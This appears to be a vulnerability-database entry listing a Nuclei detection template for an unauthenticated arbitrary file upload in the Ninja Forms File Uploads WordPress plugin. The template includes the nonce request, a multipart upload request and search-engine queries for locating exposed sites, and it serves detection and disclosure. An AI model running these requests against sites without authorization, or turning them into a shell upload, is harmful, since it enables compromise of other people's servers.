Lucene search
+L

Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload

🗓️ 13 Aug 2026 04:34:35Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 57 Views

Unauthenticated file upload in Ninja Forms File Uploads up to 3.3.26 enables remote code execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-0740
14 Jul 202615:37
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
17 Apr 202603:32
githubexploit
githubexploit
GithubExploit
Mephisto
21 May 202605:06
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
11 May 202614:39
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
11 Jul 202613:27
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-0740
8 Apr 202601:20
githubexploit
attackerkb
ATTACKERKB
CVE-2026-0740
7 Apr 202604:25
attackerkb
bdu_fstec
BDU FSTEC
The vulnerability of the NF_FU_AJAX_Controllers_Uploads::handleUpload function in the File Uploads extension of the Ninja Forms plugin allows a attacker to execute arbitrary code.
10 Aug 202600:00
bdu_fstec
circl
Circl
CVE-2026-0740
6 Apr 202617:19
circl
cnnvd
CNNVD
WordPress plugin Ninja Forms - File Uploads 代码问题漏洞
7 Apr 202600:00
cnnvd
Rows per page
id: CVE-2026-0740

info:
  name: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload
  author: whattheslime
  severity: critical
  description: |
    Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update Ninja Forms File Uploads plugin to version 3.3.27 or later.
  reference:
    - https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0740
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0740
    epss-score: 0.57807
    epss-percentile: 0.98999
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: ninjaforms
    product: ninja_forms_file_uploads
    cpe: cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:*
    shodan-query: http.html:"nfpluginsettings.js?ver="
    fofa-query: body="nfpluginsettings.js?ver="
  tags: cve,cve2026,wordpress,wp,wp-plugin,ninja-forms-uploads,file-upload,rce,vkev

variables:
  field_id: "{{rand_int(1000000000, 9999999999)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "nfpluginsettings.js")'
          - 'status_code == 200'
          - 'compare_versions(version, "<= 3.3.26")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'nfpluginsettings\.js\?ver=([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_fu_get_new_nonce&field_id={{field_id}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"success\":true")'
          - 'contains(body, "\"nonce\":")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        part: body
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=nucleiboundary

        --nucleiboundary
        Content-Disposition: form-data; name="action"

        nf_fu_upload
        --nucleiboundary
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        --nucleiboundary
        Content-Disposition: form-data; name="form_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="field_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="files-{{field_id}}"; filename="image.jpg"
        Content-Type: image/jpeg

        {{randstr}}
        --nucleiboundary
        Content-Disposition: form-data; name="image_jpg"

        {{randstr}}.txt
        --nucleiboundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "data\":{\"files", "tmp_name\":", "new_tmp_key\":")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100853dacd1316e6db40bd1de6adb6d68b887f70a1f158d546bdee7225709fbbcac022100c2648451f022c830251000d11edf6f8497ec5062d6a46cd18d2554d2305e19a2:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2026 17:47Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
EPSS0.57807
SSVC
57